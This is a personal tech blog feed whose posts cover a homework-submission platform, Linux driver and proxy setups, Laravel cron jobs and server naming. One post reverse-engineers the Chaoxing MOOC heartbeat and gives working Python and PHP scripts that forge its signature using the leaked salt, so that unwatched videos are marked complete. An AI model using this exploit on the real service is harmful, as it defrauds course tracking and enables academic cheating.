YunLoad 想法并不是空穴来风,或者像某些对校申报的创新项目那样无病呻吟,而是一个在我所处的学校的一个十分现实的任务——作业提交和管理。到了大学以后才发现我们的大把时间可以被用于完成各类实验报告和作业,而这么大量的实验报告在我校并没有一个可用的提交 / 管理平台来处理,大量的文件在各式各样的通讯媒介(包括但不限于:U 盘,QQ,邮箱等)中传递,其中 U 盘用起来麻烦最大,抄袭概率高, 运气好的话还能附带一个病毒 ,QQ 传输混乱,邮箱对于收取作业的教师而言无论是在统计上抑或是快速收取上都非常麻烦。

Pre-YunLoad Era

在 YunLoad 之前我曾经写过一个简陋但是实用的小工具被称为 AreaLoad,AreaLoad 是我自学 PHP 之后的第一个应用,大概也是我写的用到了传统动态网页开发栈(SQLite,PHP,BootStrap)的第一个应用,AreaLoad 的想法来源是一位老师的 NodeJS 作业提交接口,在一个偶然的机会发现这个潜在的需求后便萌生了写一个稍微更加好用点的框架的想法,在和 Allen Lau 分工合作 2 周后,一个看上去可以用的 AreaLoad 出来了,虽然当时的 AreaLoad 非常简陋且扩展性几乎为 0,但是在实际的应用场景中起到了实际性的作用,把一些本来可能需要一个下午统计 / 整理的工作缩短为 5 分钟的部署和 20 分钟的统计 / 收取,且不说起到了较大的成效吧,至少 It works.

We need more power

在 AreaLoad 的使用过程中有老师提出我们应该加入用户验证 / 登录和统一的统计系统,而不是每次收取完成后直接重置整个提交项目等,考虑到 AreaLoad 的高不可拓展性,我便萌生了重构 AreaLoad 的想法,由于有了部分 PHP 的经验,我选择了 Laravel 框架一边学一边尝试写一个更加能用的作业提交框架。

YunLoad Story

YunLoad 的想法开始于 17 年 12 月的时候,应该是快到寒假的时候,利用闲暇时间开始了 YunLoad 的搭建(此处应有最初的截图的… 找不到了).

其实本来我是想过找几个伙伴一起来完成 YunLoad 的,但是从最初的平淡地不做指望(周边朋友做的方向不一样),到中间找到的潜在合作伙伴时的兴奋和期望到最后发现其实完全不靠谱的失望,以至于 YunLoad 项目的几乎所有工作(架构 / 编码 / 测试 / 部署 /“售后”)基本都落在了我自己的头上,YunLoad 记录了我对于 “合作伙伴” 的定义的改变,稍微归纳如下:

  • 在 ** 完全确认对方能力前 ** 不要直接认为对方是你的合作伙伴,并继续把项目当个人项目做下去,如果寄予对方希望过大,或者把核心功能交给对方设计,只会换来自己不想要的设计,或者失望。

  • 有的人看上去表现出想和你合作,其实对方可能并不对你的项目感兴趣,而是仅仅是利用你的项目达成对方的目的,但是如果真的是这样也挺好,毕竟这个是一个双赢的情况,但是若遇到了仅仅想着利用你的项目达成个人目的而不愿意出自己的一份力的话,这类人还是尽早远离为好,不要把大量的时间浪费在尝试改变对方上,有时间吵一架和对方撕破脸还不如多想想怎么设计自己的东西,毕竟自己的项目只有自己负责。

Origin of name

从 YunLoad 诞生到现在将近 6 个月来有许多人问过我为什么这个项目的名称由拼音和英文拼凑在一起,不符合常规命名逻辑,由于涉及到的事情较为复杂,之前一直没想好如何合理表述,所以一直没有给出过一个来自创造者的表述,现尝试描述如下:这个问题分两部分,后缀 Load,这个是在当时设计 AreaLoad 时定下的主基调,之后的衍生项目均会以 Load 结尾。关于前面的 Yun,当时想到这个名字的时候有点双关的意思,一是传统的 ** 云(服务商)** 的概念,而另一个则是 ** 芸 **——一个同学(同专业,以下简称 “YunYun”)名字的最后一个字,YunYun 的优雅和漂亮吸引了我,而当时的 AreaLoad 正是因为设计的极其简陋和笨拙才有的设计新的优雅的平台的想法,便将这个项目以她的名字命名,第一个发布日定为她的生日(截至本文发布时,我还没有收到相关名称侵权律师函 2333). 不过可能令读者们失望 (或者高兴?) 的是,即便如此(这个短句不要理解成:为了她而开发的这个平台。仅仅是命名),我和她的故事并没有后续,在几次合作的不愉快后渐感人与人之间的想法差异太大,现在也联系的少了。

Dev & Ops

从 YunLoad 具体的开发角度来看,有的时候直接重构一个 “产品” 远远比在原有结构混乱的代码上进行修改要来的更加容易,基于 Laravel 的 YunLoad 完全按照 RESTful 的模式设计路由,用了 MVC 的设计理念使得前后端可以稍微分离一些(现在回顾当时的 AreaLoad,页面逻辑代码和样式全部混在一起,非常有意思),在开发过程中学到的设计模式可能甚至比实际开发出来的成果对于个人的提升而言更加有帮助。 期间也随着自己的想法和老师建议参加过一些项目 / 比赛,只不过结果不怎么好罢了,无意评判他人,也许真的是我自己做(吹)的不够吧…

相比较开发而言,可能 YunLoad 遇到的最大的挑战在于维护,YunLoad 目前有多个后端应用服务器,这没问题,但是出于数据安全考虑这些后端服务器全部位于欧洲国家,这样对于主要访问者(自己学校内学生)直接访问后端服务器而言就十分不友好,动辄 400+ms 的延迟让许多用户反馈访问速度太慢,而且最初使用的 DNS 轮询负载均衡的方式也使得任一后端掉线都对运维是一个挑战。 为了加快大陆的访问速度,YunLoad 被配置了 GCP 台湾服务器的反向代理,延迟瞬间降至 50~70ms 内,这一开始也没问题,但是随着各种事情的发生,GCP 在大陆的丢包率可以达到可笑的 80%,这样的丢包率对于用户而言便是 “YunLoad 又打不开了”…

目前使用 GCP 在美国的服务器作为反向代理,稍微兼顾了一下网络稳定性和访问速度,暂时还没出现过大的问题,日后可能会考虑将服务迁移至国内以应对各种 “网络异常波动”,毕竟用户还是最重要的。

说到用户,我十分感谢 YunLoad 最初投入试运行时第一个同意使用这个平台的的王老师,由于 YunLoad 面向的就是教师和学生之间的作业提交问题,老师的加入意味着我就直接获得了所有的学生用户,首先是我们专业的 4 个班,慢慢地,另一位王老师加入又给平台带来了其他学院 3 个班,随后同专业低一年级的两个班也在班长的带动下加入了进来,看到注册用户的慢慢攀升和平台处理提交数的提升,除了对于缓存服务器的担心以外,这个应该是整个项目中最让我欣慰的一部分了——自己写的东西可以被投入运行,可以实际落地给这个学校、这个世界带来一点微小的贡献,一本满足!

Post-YunLoad

尽管 YunLoad 目前已经是一个比较高可扩展的框架,但是可以预料到的是 YunLoad 如果仅仅保持现在的功能和设定的话,除了在自己的学校以外是没有任何落地能力的(更别提竞争能力了),但是一旦 YunLoad 可以变为一个全功能的平台的话(到那个时候一定会是开源的),我想,高校内文件传输和管理的格局会有一个大的变化(应该不会是个 Flag).

当然,仅仅靠我一个人继续这样维持下去的话,恐怕前者发生的概率较大,YunLoad 目前还是需要一些开发者对其进行改进和功能升级,如果你熟悉 YunLoad 的技术栈(Laravel-Python-MySQL-Redis)且希望能见证一个开源的全功能平台的兴起的话,我非常欢迎你的加入!

Credit

YunLoad 的开发历程中,十分感谢以下同学 / 老师给予我的指导和支持(排名不分先后,优先使用网名,若没有则使用拼音,名前姓后):

]]>
Solve RealTek RTL8821CE driver problem on Linux(Fedora)https://nova.moe/solve-realtek-rtl8821ce-driver-on-fedora/Mon, 30 Apr 2018 14:19:13 +0000https://nova.moe/solve-realtek-rtl8821ce-driver-on-fedora/Brief

Recently one of my friends has bought a ThinkPad X1 Carbon 5Gen on TaoBao and found that the Network controller might has been altered by the seller. He found this problem after the installation of Fedora 27 and found the wireless function “is gone”(in his word), so he came to me to seek help.

Solution

The technical specification on the Lenovo Website shows that that X1 Carbon should come with Intel Wirelesss card, while his ThinkPad is shipped with RealTek RTL8821CE.

lspci info

It’s obvious that this laptop has been tampered by the seller, the current problem is how to fix this broken driver problem. I’ve tried dnf update to update the system with latest packages and kernel 4.16, the problem still remained. So I tried a method introduced by a blog on CSDN which successfully solved this problem, at least with the current kernel.

The key problem for this is the lack of drivers, the repository endlessm/linux come with the sufficient driver for RTL8821CE. The directory for that is linux/drivers/net/wireless/rtl8821ce/, after obtaining the files we need to cd into that directory and change the line with

export TopDIR ?= ...

to the files path, in my case its /home/user/rtl8821ce so it’s

export TopDIR ?= /home/user/rtl8821ce

Be sure you have installed build-essential package group to continue.

Then we just need to

make
sudo make install
sudo modprobe -a 8821ce

and the problem should be solved right away, though it’s not clear what might happen after the upgrade of kernel in the future, the long-term way should be change the Wireless card ASAP.

Update: This module needs to be compiled each time on Kernel upgradation.

Update 2: Thanks for a comment by Farran, there seems a way to avoid the compiling for each Kernel upgradation, as the link he suggests: https://github.com/abperiasamy/rtl8812AU_8821AU_linux/issues/84#issuecomment-193326057.

Conclusion

It’s weird that the US Edition of X1 Carbon can have the price difference of around 300$ with the Chinese Edition, and this is the key reason that many of the Chinese customers choose to buy ThinkPad from US rather than China. Many TaoBao Sellers claim the laptop is from US, which is true, but they changed the changeable components to cheaper ones to gain more interest is quite annoyning.

When there is the chance to tamper with customers, there should be people doing this. If you need a ThinkPad X1 Carbon, the cheapest way for Chinese customer might be buying the American Edition directly, since this may need a private US billing address, lots to them goes to TaoBao for it, but after this incident, I personally cannot trust TaoBao anymore.

Reference

1.Thinkpad E470C(集成网卡 rlt8111/8618/8411 系列) 无线网卡 rtl8821CE 系列 安装 ubuntu 和 win10 双系统没有无线网问题 - CSDN 博客

]]>
在 Laravel 5.5 框架中使用计划任务https://nova.moe/create-cronjob-in-laravel-5-5/Tue, 24 Apr 2018 10:37:23 +0000https://nova.moe/create-cronjob-in-laravel-5-5/最近在用 Laravel 5.5 做的 YunLoad 项目中需要有一个提交任务自动截止功能需要用到计划任务,任务逻辑是在每天凌晨检查一次添加的提交任务是否已经过期,若已过期则自动将提交任务标记为 “已过期”. Google 了很久也没能发现一个完整的教程,Laravel 相关文档也写得含糊其词,遂记录一下我的操作过程。

创建 Command

作为计划任务,我们需要的是 command(而不是网上说的 console),相关命令如下:

$ php artisan make:command CheckDeadline

此时会在 /app/Console/Commands/ 下创建一个 CheckDeadline.php 文件,我们需要在这个文件的 handle 函数中定义我们的需要的操作,如果代码设计 Model 操作的话需要在文件顶部声明(本例中需要 use Carbon\Carbon),部分代码如下:

...
protected $signature = 'CheckDeadline:checkdeadline';// Define the Command name
...
public function handle()
{
	// Get the non-ended courses as $courses array
	foreach($courses as $course){
		// $dl for Parse the course setted deadline
		if($dl->isPast()){
			// Mark the Course ended, update database...
			$this->info('Course'.$course->id.'hitted deadline, ended.');
		}
	}
}

在 Console Kernel 中注册这个 Command

/app/Console/Kernel.php 中注册这个 Commmand,部分代码如下:

protected $commands = ['\App\Console\Commands\CheckDeadline',];
protected function schedule(Schedule $schedule)
{$schedule->command('checkdeadline')->daily();}

其中 daily() 表示每天凌晨执行,更多频率关键词可以参考 官方文档.

写好了之后我们测试一下:

➜ php artisan CheckDeadline:checkdeadline
Course 6 hitted deadline, ended.
Course 13 hitted deadline, ended.

跑起来了,看来没问题,我们把代码部署到服务器上面去并让他自己定期跑~

让系统的 crontab 定期拉起 Laravel

在部署好了相关文件后我们需要用 Linux 的 crontab 定期拉起 Laravel 来让 artisan 去执行我们的计划任务,新建个计划任务,然后如下编写:

* * * * * php /path-to-your-project/artisan schedule:run >> /dev/null 2>&1

需要注意的是,这里的 PHP 需要写绝对路径,如果不清楚的话建议先 whereis php 之后确认一下,比如我本地实验环境:

➜ whereis php
php: /usr/bin/php /usr/lib64/php /etc/php.ini /etc/php.d /usr/share/php /usr/share/man/man1/php.1.gz
➜ /usr/bin/php --version
PHP 7.1.16 (cli) (built: Mar 28 2018 07:11:55) (NTS)
...

那就需要写成(假设项目在 / var/www/yunload 下)

* * * * * /usr/bin/php /var/www/yunload/artisan schedule:run >> /dev/null 2>&1

2018-05-30 更新:似乎按照上面得写法 Laravel 调用的 command 时用的 artisan 不是绝对路径,这样会失败,目前我使用的方法如下:

@hourly /usr/bin/php /var/www/yunload/artisan CheckDeadline:checkdeadline >> /dev/null 2>&1

不过我有一个疑问,Wordpress 中可以定时自动发布文章,我们在安装 Wordpress 的时候并不需要利用系统的 crontab,那它们是如何实现的呢?或者说,为什么 Laravel 就必须要用系统 crontab 才能实现计划任务呢?

参考资料

  1. Laravel 5.5 - Task Scheduling With Cron Job Example - Laravelcode
  2. Task Scheduling - Laravel - The PHP Framework For Web Artisans
]]>
挂载 Google Storage 到 VPS 文件系统https://nova.moe/mount-google-storage-to-vps/Thu, 05 Apr 2018 16:46:27 +0000https://nova.moe/mount-google-storage-to-vps/本文简要地记录了如何将 Google Cloud Platform 中的 Storage 作为文件系统挂载到自己的 VPS 上。

什么是 FUSE

用户空间文件系统(Filesystem in Userspace,簡稱 FUSE)是一个面向类 Unix 计算机操作系统的软件接口,它使无特权的用户能够无需编辑内核代码而创建自己的文件系统。目前 Linux 通过内核模块对此进行支持。一些文件系统如 ZFS、glusterfs 和 lustre 使用 FUSE 实现.——Wikipedia

安装 Google SDK

我们一般使用浏览器访问 GCP 的 Console,但是对于服务器而言,Google 提供了一套 SDK 用于身份验证和对 GCP 资源的操作。安装方式见:Quickstart for Linux

安装完成后 gcloud init

打开链接后登录自己的 Google 账户进行验证

安装 Cloud Storage FUSE

有了 gcloud 并且成功登录自己账户后我们需要安装 Cloud Storage FUSE 来对 Storage 进行挂载。 安装教程参见 https://github.com/GoogleCloudPlatform/gcsfuse/blob/master/docs/installing.md

之后登录 GCP 去创建一个 Storage bucket.

创建好后使用 gcsfuse <Storage 的名字> <本地目录> 来进行挂载,要卸载的话 umount <本地目录> 就好了。

[root@destiny ~]# gcsfuse yunload yunload/
Using mount point: /root/yunload
Opening GCS connection...
Opening bucket...
Mounting file system...
File system has been successfully mounted.

这样就可以了,看看空间~

[root@destiny ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            993M     0  993M   0% /dev
tmpfs           200M   35M  165M  18% /run
/dev/vda         46G   41G    4G  89% /
tmpfs           999M     0  999M   0% /dev/shm
tmpfs           999M     0  999M   0% /sys/fs/cgroup
tmpfs           200M     0  200M   0% /run/user/0
yunload         1.0P     0  1.0P   0% /root/yunload
[root@destiny ~]#
]]>
新域名,新服务器及对应面向大陆方向提速方案https://nova.moe/new-domain-new-server-optimize-for-china-mainland/Fri, 16 Feb 2018 19:50:46 +0000https://nova.moe/new-domain-new-server-optimize-for-china-mainland/Before

很早之前没有信用卡,购买域名和服务器都是通过 Alipay(CNY) -> Bitcoin(BTC) 的方式的方式购买,自然,可以选择的域名和服务器商就不多,比如托管 digitalnova.me 域名的 Namecheap 和 yunyun 服务器所在的 YourServer.se,一直以来对一些大型的服务商(比如 DO,Linode)就只好望洋兴叹,可望而不可及。

有了信用卡之后服务器方面租用了 Scaleway 的荷兰机器,内存 4G,一下子 Docker,Wordpress 都可以跑起来了,虽然官方说的是不限制流量且高速的访问,但毕竟是欧洲的服务器,在大陆地区的访问情况总是有点出乎意料,延迟普遍超过 350ms,如下图:

虽说荷兰的机器有着比较好的流量清洗设备,ASIC 硬件防火墙,但是其超慢的大陆访问速度总会影响到大部分用户。

关于域名,Namecheap 对于一些比较好记的单词域名似乎总是想保持自己占有,最初打算开博客的时候以 nova 为关键字搜索发现全部是 Make Offer 状态,哪怕对应的域名并没有被注册,只好选了个 digitalnova.me 这个域名暂时先用着。

After

最近在 Gandi.net 上面搜索 nova 时就发现了这个域名,果断买下,并打算长期使用。

由于 yunyun 服务器将于 2 月中旬到期,我新租用了一台台湾的服务器 (Void) 作为反向代理加速大陆地区的网站访问速度,经过一小段时间的调整,延迟方面已经可以做到大陆普遍小于 60ms,且网站速度方面目前的 ** 无缓存 ** 反向代理已经可以做到以下水平:

首先需要说明的是,部分人可能有个误区认为反向代理总是能提高网站响应速度或者 QPS,比如你用 Docker 搞了个官方的 Wordpress(内置了 Apache 服务器),这个时候在本机做一个 Nginx 反代其实并不会加速访问 (新的 HTTP 协议除外),这个时候的反代主要是用来配置策略和过滤流量使用的 (说到过滤流量,OpenResty 是不是一个更好的选择?).

而本站使用反向代理的原因是:大陆 -> 荷兰速度很慢,大陆 -> 台湾速度很快,台湾 -> 荷兰速度较快,所以大陆 -> 台湾 -> 荷兰就可以获得 ** 比较好 ** 的一个访问速度。

考虑反向代理的过程其实我还是想了一段时间,由于域名是一样的 (最终肯定都需要同一个域名),且服务器不在一个内网网段,所以并不能像网上许多教程教授的反代 Google(域名不一样),或者 IP + 端口的形式 (太不优雅).

最终稍加研究,得出以下可用 (目前看来还是不很优雅,仅仅是可用) 的反向代理方案,首先我的源服务器依然监听这个域名,Nginx 部分配置如下:

server {
    listen 80;
    listen [::]:80 http2;
    server_name nova.moe;
    ...
    index   index.html;
}

在台湾服务器上有一个配置文件 proxy.conf 会被 Nginx 加载,文件内容如下:

proxy_redirect          off;
proxy_set_header        Host            $host;
proxy_set_header        X-Real-IP       $remote_addr;
proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size    2000m;
client_body_buffer_size 128k;
proxy_connect_timeout   90;
proxy_send_timeout      90;
proxy_read_timeout      90;
proxy_buffers           32 4k;

台湾服务器上的 Nginx 反向代理设置如下,由于我的服务器都依靠 rDNS,且没有多个上游源,暂且就一个 proxy_pass 解决了事情:

server {
    server_name nova.moe;

    location / {proxy_pass http://destiny.n0vad3v.me;}

    listen 443 ssl;
    ...
    if ($scheme !="https") {return 301 https://$host$request_uri;}
}

为了尽可能少的影响到 SEO,我需要将原来的 URL 的流量给 301 过来,比如 digitalnova.me/about 需要被 301 到 nova.moe/about,这个时候需要在源站的 Server Block 上做一个策略规则,如下:

return 301 https://nova.moe$request_uri;

Protential Problems

目前的网络结构设计达到了以下优点:

  • 看上去不那么像一个课程设计
  • 更快的大陆访问速度
  • 更好的反向代理策略保护

不过也有以下可能的问题,例如

  • Speed 虽然 Void 服务器在大陆访问比较快,但是在其他地方可能还是延迟较大,最终的希望能成为像 Leonax 那样的网络结构,或者至少往那个方向去靠拢吧,他的 AnyCast IP 可以做到全球延迟全部小于 50ms,看着就爽~ 要想让自己的网站能在全球范围内拥有更高的速度,目前我想到两个方案,一个是 Leonax 的 AnyCast IP 的方式,另一个是通过 DNS 负载均衡和分地区解析的方式,后者开销较少,我会优先考虑后者。

  • Half baked SSL 类似下图,用户到 Void 服务器的流量是加密的,但是 Void 到 Destiny 部分是没有加密的,虽然仅仅是博客,开一个 SSL 目前主要是装饰效果和防止 ISP 劫持(目前我还没去深究过 HTTP/2 的一些特性),不过这个可能是一个安全隐患。如果要解决这个问题的话我需要在两个服务器上都部署 SSL 证书,太过麻烦,暂时不想去折腾。

  • DNS 如上述配置,Void 服务器上的反向代理请求的是 Destiny 服务器的 rDNS 名称而非其对应 IP,这样在我迁移 Destiny 服务器到另一个 IP 时就只需要改一次 IP 了 (其它需要指向那台服务器的 DNS 都是 CNAME 记录),但是 Void 服务器所在机房的 DNS 是否不会被劫持,或者出现其他问题,这个还很难说。

  • IPv6 Void 服务器暂时还没有 IPv6 地址,不过我认为这个问题会比较快地被解决。

  • Pricing & Anti DDoS Void 服务器使用的是 Google Cloud Platform,暂时还没有看到具体的防攻击和流量计价方式,不过听说往大陆的流量是 0.23$/GB,不清楚是否真实,有了解的朋友可以底下留言告知我以下. (别像 AWS 一样被 D 了一夜之间信用卡产生个 4000$ 的流量费就好 2333)

  • Cache 如前文所说,Void 服务器目前是 ** 无缓存 ** 反代,上了缓存之后可以虽然将速度进一步提升,潜在的问题是,如果源站更新了,该如何通知缓存刷新,这个是一个问题,或者仅仅缓存 CSS,JS 等文件?

]]>
超星 MOOC 视频课程跳过 (刷课) 原理及 Python,PHP 实现https://nova.moe/skip-chaoxing-mooc/Tue, 13 Feb 2018 22:31:16 +0000https://nova.moe/skip-chaoxing-mooc/

TO 读者:本文仅从技术层面分享超星 MOOC 心跳包的实现原理,我不鼓励也不支持通过这个脚本或者我搭建的网站 (chaoxing.fun) 来进行逃课或刷课等行为,且我理解这次分享出来势必加速官方修复此问题,所以当你看到本文时可能这个方法已经不再起作用了。 TO 超星:无意冒犯,如有侵权,请 联系 我删除本文。

这个是一个比较早之前就实现的一个项目,不过由于担心收到超星方面的律师函,就一直没有在互联网上公开过,最近在回忆一次技术分享的时候又一次想到了这个,Google 查了一下发现还是有一些网友发布了相关教程。善意的推测这样做对超星官方没有损失,遂提取一部分来分享一下。由于相隔时间较长且做完 Demo 之后就再也没去用过,所以这里基本只讲我能回忆上来的重点部分。

单纯从 MOOC 视频页面源代码来看,我无法判断出超星对于视频是否播放完成的服务端反馈,但是通过数据包判断有心跳包的存在。

首先研究心跳包的组成,是一个 GET 请求,网址类似:https://mooc1-1.chaoxing.com/multimedia/log/17f2ce4e123456db326a1234564be8b6 ?otherInfo=nodeId_101234501&rt=0.9&userid=12345678&dtype=Video&clazzId=12345678&clipTime=0_1799&jobid=1504425996893136&duration=1799&objectId=a9f47a42b8e7f59f1234567c5b7ced33&view=pc&playingTime=1124&isdrag=3&enc=c9f8584360936c7b6752e19154f44ec7 拆分一下传入 param 大概有如下部分:

?otherInfo=nodeId_101234501
&rt=0.9
&userid=12345678
&clazzId=12345678
&clipTime=0_1799
&jobid=1504425996893136
&duration=1799
&objectId=a9f47a42b8e7f59f1234567c5b7ced33
&playingTime=1124
&enc=c9f8584360936c7b6752e19154f44ec7

服务端的返回为一个 json 数据:

isPassed: false

一些机智的小伙伴很快就会发现,那个 playingTime 对应的就是自己的播放时间,如果播放时间到了视频的最后时间的话,这个视频就通过了,于是开始改 URL 地址,但是发现无论怎么改返回的都是 false,这里直接猜测 enc 的作用就是服务端校验值,但是找遍了 JS 脚本都没有发现计算 enc 的部分,遂认为计算部分实现在他们自己的 Flash 播放器中。

通过对 Flash 播放器的逆向工程(其实就是随意在 BaiDu 上面找了一个 Flash 解包工具)可以发现在 4500 行(好像是这个)发现如下代码:

var loc2:*=(loc2 = loc2 +"&view=pc&playingTime="+ arg1 +"-"+ arg2) + "&isdrag=1";
loc5 = com.chaoxing.player.util.MD5.startMd("["+ arg4.clazzId +"]" + "["+ arg4.userid +"]" + "["+ arg4.jobid +"]" + "["+ arg4.objectId +"]" + "["+ arg2 * 1000 +"]" + "[d_yHJ!$pdA~5]" + "["+ int(arg4.duration) * 1000 + "]" + "["+ arg4.clipTime +"]");
loc2 = (loc2 = loc2 +"&enc="+ loc5).substring(1);

这样一来事情就很明了了,其本质就是一个字符串拼接加盐操作,而且盐居然还是硬编码在里面的,值为 d_yHJ!$pdA~5… 很有意思,所以只需要重新实现一遍 enc 计算算法并给出新的满足 enc 值的 URL 就可以骗过服务端提交伪造的 “视频已播放完” 的心跳包了。

Python3 代码实现

import hashlib
import random
import math
import json
import sys

url = sys.argv[1]
temp = url.split('?')
jsonStr = '{"'+ temp[1].replace('=','":"').replace('&','","') +'"}'
js = json.loads(jsonStr)
time = js["duration"]
clazzId = js["clazzId"]
userid = js["userid"]
jobid = js["jobid"]
n = (int(time)-random.randint(1,10)) * 1000 # playing time minus a random value to avoid detection
clipTime = js["clipTime"]
duration = int(js["duration"]) * 1000
objectId = js["objectId"]

salt = "d_yHJ!$pdA~5"

pwdStr = "[%s][%s][%s][%s][%s][%s][%s][%s]" % (clazzId, userid, jobid, objectId, n, salt, duration, clipTime)

hashed = hashlib.md5(pwdStr.encode('utf-8'))
#js["playingTime"] = (int(time)-5)
js["playingTime"] = int(n/1000)
js["enc"] = hashed.hexdigest()
param = "?"
for j in js:
    param += "%s=%s&" % (j,js[j])

url_new = temp[0] + param

print(url_new)

PHP 代码实现

function cal($url){
    #process url
    $url = parse_url($url);
    parse_str($url['query'], $array);

    #update enc
    $n = ($array['duration'] - rand(1,10)) * 1000;
    $salt = 'd_yHJ!$pdA~5';
    $duration = $array['duration'] * 1000;

    $pwdStr = sprintf("[%s][%s][%s][%s][%s][%s][%s][%s]",
                     $array['clazzId'],
                     $array['userid'],
                     $array['jobid'],
                     $array['objectId'],
                     $n, $salt, $duration,
                     $array['clipTime']);
    $array['enc'] = md5($pwdStr);

    #update playing Time
    $array['playingTime'] = floor($n/1000);

    #make url
    $query = http_build_query($array);
    $url = sprintf("%s://%s%s?%s",$url['scheme'],$url['host'],$url['path'],$query);

    return $url;
}

当然,如果你还嫌麻烦的话,可以试试我搭建的一个服务 chaoxing.nova.moe

]]>
2018,又一年https://nova.moe/another-year-2018/Sun, 31 Dec 2017 23:16:55 +0000https://nova.moe/another-year-2018/完成了一天的 Coding,终于得以有时间尝试静下心来些写写文章,发表一下这一年的感慨。坐在床上,听着自己的室友开着扬声器语音聊天玩着游戏在怒吼,说实话,很难静心,由于写文章需要相对细腻的思绪表述,我也没法通过听音乐的方式进行混淆,只能硬扛,如果各位能看到这篇文章的话,应该标志着我的胜利吧。

首先从我对学校的小圈子观察来看吧,如果学校的环境是一个微型的社会的话,那么可以推断出整个社会一直在朝着一个娱乐化和浮躁化的方向发展,记得之前看到阮一峰的一篇文件,叫做 《那些无用的人》,十分认同其中一段引用:

“未来,人类可能会分化为两个主要的等级:一个全新的更先进的精英阶级,很聪明,很富有,有更好的基因和更长的寿命;还有一个全新的一无用处的无产阶级,他们将越来越穷地等待死亡,可能变成没有工作、没有目标、整日靠吸毒度日、戴着 VR 头盔消磨时光的乌合之众.”

现在离考试还有半个月的时间,然而我们已经结课,经常听到有室友表示不知道该做什么了,我不想指责任何人,只是感觉这似乎折射出我们这一代的一个共性,引言中描述的未来离我们究竟有多远?我认为其实已经很快了。

如果有机会可以去大学寝室中走一走,就能发现很多同学开着直播,玩着游戏,一天天地过着。直播行业在近几年似乎和比特币一样十分泡沫,反映了观看直播的人数在上升,如果没有记错,如果是 3 年前的火车站,可能大多数人会通过手机看小说或者玩游戏,而现在则是大部分人在看游戏直播。直播主 / 网红等词汇频率的攀升更是反映了社会对于这一行当的一个关注和期待程度。反观引言,这些同学是不是和引言中描述的一无是处的人十分类似呢?

可能有人会说,是你自己学校太差了才会这样吧,无可否认,由于高考 “失利”,我进入了一个非 985 学校,如果按照排名的话,我们学校学生的现状应该出现在中国至少 80% 的高校中。这也意味着几年后的今天,社会上会有相当大一部分人有着和他们相同的共性,且不去讨论这个国家 / 民族的未来会变成怎么样,但是离引言中所描述的情况,真的不远了。

马上东 8 区就要到达 2018 年了,回想一年以前的事情还历历在目。说来有趣,已经写了半年多的 PHP 了,大一下学期的时候打爆了老师自己用 NodeJS 写的一个作业上传平台后便从零开始对 PHP 的摸索,本来给自己定位是:算法 / 安全 / 系统方向的我俨然改变了兴趣变成了:工程 / 架构 / 网络的发展思路,虽然现在编写 PHP 程序的技术依然十分不成熟,但是我可以明显感觉到我兴趣点的偏移,不知道是不是好事情。

唉,累了,不多说了,祝各位新年快乐!

]]>
Linux 开启热点并转发代理流量使 Blackberry Passport 出墙https://nova.moe/redirect-proxy-traffic-and-let-blackberry-bypass-the-gfw/Mon, 04 Dec 2017 13:54:23 +0000https://nova.moe/redirect-proxy-traffic-and-let-blackberry-bypass-the-gfw/Passport 上没有一个方便的出墙方法(VPN 只有 Cisco ASA,IKEv2 等),这样在手机上搜索资料就会非常麻烦。

其实本质上这篇文章与黑莓 Passport 没啥关系,这种方法理论上适用于任何没有默认代理配置的设备,包括但不限于 iPhone,BlackBerry,主要讲的是如何合理利用 ss-rediriptables 转发流量开启透明代理,方法很简单,我们速战速决! 本文只适用于 Linux,Windows 用户可以参考 这篇文章(唉,我也不知道是谁抄袭的谁的,将就看吧)

开启 ss-redir

创建个配置文件 (.json 格式),和 sslocal 的差不多,文件内容类似下方格式:

{
	"server": "< 你的 $$ 服务器 IP>",
	"server_port": <你的 $$ 服务器端口>,
	"local_address": "0.0.0.0",
	"local_port": <本地一个随意端口,比如 9802 好了>,
	"password":"<你的 $$ 服务器密码>",
	"method":"<加密方式,chacha20,aes-256-cfb 那些>"
}

然后 ss-redir -c <上面配置文件的文件名> 让代理保持开着,如果不想一直保持终端开着的话可以用 -d start 后台运行。

开启热点

GNOME 用户直接使用网络管理工具开启热点即可,默认会创建一个 10.42.0.1/16 网段,本机 IP:10.42.0.1,其余连入的设备都会在这个段下。 如果不是 GNOME 用户的话,用 nmcli,具体方法自行 Google.

流量转发

创建个 sh 脚本,内容如下:

#!/bin/bash
iptables -t nat -A PREROUTING -p tcp -s 10.42.0.0/16 -j REDIRECT --to-ports <刚刚我们随意写的那个端口,9988>
iptables -t nat -A OUTPUT -d 127.0.0.0/24 -j RETURN

然后执行这个脚本即可~ 现在让 BlackBerry Passport 连接上热点,访问下 Google 试试?

]]>
对服务器 rDNS/Hostname 命名的一次探索https://nova.moe/explore-in-server-rdns-and-hostname/Sun, 03 Dec 2017 16:14:34 +0000https://nova.moe/explore-in-server-rdns-and-hostname/今天花了一些时间给自己手头两台常用的提供 Web 服务的 VPS 进行了命名和 rDNS/Hostname 调整,现在两台服务器分别有:yunyun.n0vad3v.me 和 destiny.n0vad3v.me 的 rDNS,正向解析和 Hostname.

为什么这么做?

原因其实挺简单的,最直接的理由就是自己的同学记不住服务器的 IP 地址,这样标记了过后可以方便记忆(正向解析). 其次是参考了一些互联网大厂对自己基础设施的命名规范,觉得不能让自己手中的 “基础设施” 乱哄哄的,全是一堆不连续的 IP 地址构成。

名词解释

  • rDNS:反向 DNS,简单的说就是把 IP 解析成域名,一般需要 双向匹配.
  • Hostname:主机名,在配置好了 hostname 的局域网中可以直接使用主机名来访问各个机器(比如:192.168.1.10 smb.localhost 这样),一般是 rDNS 的第一段(比如 destiny.n0vad3v.me 的主机名就是 destiny).

如何给自己的服务器命名

这两个名字应该是从本学期开始的时候就在考虑了,直到最近才定下来,为什么是这样两个名字(destiny 和 yunyun)后面再讲,我们先来看看其他人是如何给自己的服务器命名的。

默认的 Hostname

这类人可能比较懒或者可能没想过这些,反正买个 VPS 跑个 $$ 或者跑个个人博客,一般不需要调别的东西,买来 VPS 会默认有一个 Hostname,所以一般我们看到他们的机器的 rDNS 可能如下:

  • 123.45.67.89.bc.googleusercontent.com
  • 123.45.67.89.vultr.com

昂,好吧,下一个

大厂的做法

这类应该是比较传统的命名规则,比如某两个 YouTube 服务器的地址是:

  • lga34s13-in-f14.1e100.net
  • nuq04s29-in-f14.1e100.net

